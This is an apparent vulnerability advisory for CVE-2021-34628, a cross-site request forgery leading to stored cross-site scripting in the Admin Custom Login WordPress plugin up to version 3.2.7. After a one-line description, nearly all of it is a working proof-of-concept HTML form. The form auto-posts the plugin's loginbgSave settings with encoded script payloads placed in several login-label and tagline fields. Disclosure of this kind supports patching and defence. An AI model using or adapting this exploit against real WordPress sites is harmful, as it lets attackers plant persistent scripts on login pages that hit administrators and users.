Admin Custom Login < 3.2.8 – CSRF to Stored XSS | CVE 2021-34628

Description

The Admin Custom Login WordPress plugin is vulnerable to Cross-Site Request Forgery due to the loginbgSave action found in the ~/includes/Login-form-setting/Login-form-background.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 3.2.7.

Proof of Concept

<html>
  <body>
    <form action="http://[URL_HERE]/wp-admin/admin.php?page=admin_custom_login" method="POST">
      <input type="hidden" name="Action" value="loginbgSave" />
      <input type="hidden" name="login&#95;form&#95;position" value="default" />
      <input type="hidden" name="Login&#95;bg&#95;value" value="static&#45;background&#45;image" />
      <input type="hidden" name="login&#95;background&#95;color" value="&#35;1e73be" />
      <input type="hidden" name="login&#95;bg&#95;color&#95;overlay" value="pattern&#45;1" />
      <input type="hidden" name="login&#95;bg&#95;image" value="http&#58;&#47;&#47;wordsesh&#46;vhx&#46;cloud&#58;8080&#47;wp&#45;content&#47;plugins&#47;admin&#45;custom&#45;login&#47;&#47;images&#47;3d&#45;background&#46;jpg" />
      <input type="hidden" name="login&#95;form&#95;opacity" value="10" />
      <input type="hidden" name="login&#95;form&#95;width" value="358" />
      <input type="hidden" name="login&#95;form&#95;radius" value="10" />
      <input type="hidden" name="login&#95;border&#95;style" value="solid" />
      <input type="hidden" name="login&#95;redirect&#95;force" value="no" />
      <input type="hidden" name="login&#95;border&#95;thikness" value="4" />
      <input type="hidden" name="login&#95;border&#95;color" value="&#35;0069A0" />
      <input type="hidden" name="login&#95;bg&#95;repeat" value="repeat" />
      <input type="hidden" name="login&#95;bg&#95;position" value="undefined" />
      <input type="hidden" name="login&#95;enable&#95;shadow" value="yes" />
      <input type="hidden" name="login&#95;shadow&#95;color" value="&#35;C8C8C8" />
      <input type="hidden" name="login&#95;custom&#95;css" value="" />
      <input type="hidden" name="login&#95;redirect&#95;user" value="" />
      <input type="hidden" name="login&#95;force&#95;redirect&#95;url" value="http&#58;&#47;&#47;wordsesh&#46;vhx&#46;cloud&#58;8080&#47;wp&#45;login&#46;php" />
      <input type="hidden" name="login&#95;form&#95;left" value="700" />
      <input type="hidden" name="log&#95;form&#95;above&#95;msg" value="&quot;&gt;&lt;script&gt;alert&#40;0&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="login&#95;msg&#95;font&#95;color" value="&#35;000000" />
      <input type="hidden" name="login&#95;tagline&#95;text&#95;color" value="&#35;fff" />
      <input type="hidden" name="login&#95;tagline&#95;link&#95;color" value="&#35;f00" />
      <input type="hidden" name="login&#95;msg&#95;fontsize" value="16" />
      <input type="hidden" name="login&#95;form&#95;top" value="300" />
      <input type="hidden" name="login&#95;form&#95;float" value="center" />
      <input type="hidden" name="tagline&#95;msg" value="Login&#32;form&#32;is&#32;designed&#32;using&#32;&lt;a&#32;href&#61;&quot;https&#58;&#47;&#47;wordpress&#46;org&#47;plugins&#47;admin&#45;custom&#45;login&#47;&quot;&#32;target&#61;&quot;&#95;blank&quot;&gt;ACL&lt;&#47;a&gt;&#32;plugin&#32;by&#32;&lt;a&#32;href&#61;&quot;https&#58;&#47;&#47;www&#46;weblizar&#46;com&quot;&#32;target&#61;&quot;&#95;blank&quot;&gt;Weblizar&lt;&#47;a&gt;&lt;script&gt;alert&#40;11&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="user&#95;cust&#95;lbl" value="&quot;&gt;&lt;script&gt;alert&#40;0&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="pass&#95;cust&#95;lbl" value="&quot;&gt;&lt;script&gt;alert&#40;0&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="label&#95;username" value="&quot;&gt;&lt;script&gt;alert&#40;0&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="label&#95;password" value="&quot;&gt;&lt;script&gt;alert&#40;0&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="label&#95;loginButton" value="&quot;&gt;&lt;script&gt;alert&#40;0&#41;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>